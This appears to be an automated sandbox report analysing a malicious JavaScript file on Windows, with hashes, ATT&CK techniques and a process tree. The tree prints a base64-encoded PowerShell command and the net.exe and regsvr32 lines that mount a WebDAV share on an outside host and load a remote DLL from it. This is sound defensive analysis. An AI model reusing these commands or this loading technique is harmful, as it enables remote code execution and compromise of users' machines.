a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25

Analysis

max time kernel
132s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 15:57

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General

Target

a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25.js
Size

13KB
MD5

c0ed197aef6e402ba2f1f286ef7a5e0b
SHA1

50dddbc2aad2e5c20f84b146718aae109ac184bc
SHA256

a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25
SHA512

6fb36968dbc7a00471258f2df63a7adacafca53d7750f199c440fb502a7fa3d0b27c208de824792b9107b1dc11df6c4acbe5038ae897d98258c9f27fa331bd7f
SSDEEP

96:6To/qCXep9vYcV9YDuHDwDQDmFouDylnCDoDnDVLD5ouDylnCDoDnDiND:1qCu9nV9YKHccwWlnCkDRLrWlnCkDm5

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1796	powershell.exe
1796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1796	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3292 wrote to memory of 1796	3292	wscript.exe	86
PID 3292 wrote to memory of 1796	3292	wscript.exe	86
PID 1796 wrote to memory of 4484	1796	powershell.exe	88
PID 1796 wrote to memory of 4484	1796	powershell.exe	88
PID 1796 wrote to memory of 900	1796	powershell.exe	89
PID 1796 wrote to memory of 900	1796	powershell.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADMAMwA5ADgAMwAyADUAMwAxADQAMAA2ADgALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:4484
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\3398325314068.dll
    3⤵
    PID:900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3m1aidzp.xlb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1796-0-0x00007FFC10373000-0x00007FFC10375000-memory.dmp

Filesize
8KB

Download
memory/1796-1-0x0000012A21AA0000-0x0000012A21AC2000-memory.dmp

Filesize
136KB

Download
memory/1796-11-0x00007FFC10370000-0x00007FFC10E31000-memory.dmp

Filesize
10.8MB

Download
memory/1796-12-0x00007FFC10370000-0x00007FFC10E31000-memory.dmp

Filesize
10.8MB

Download
memory/1796-15-0x00007FFC10370000-0x00007FFC10E31000-memory.dmp

Filesize
10.8MB

Download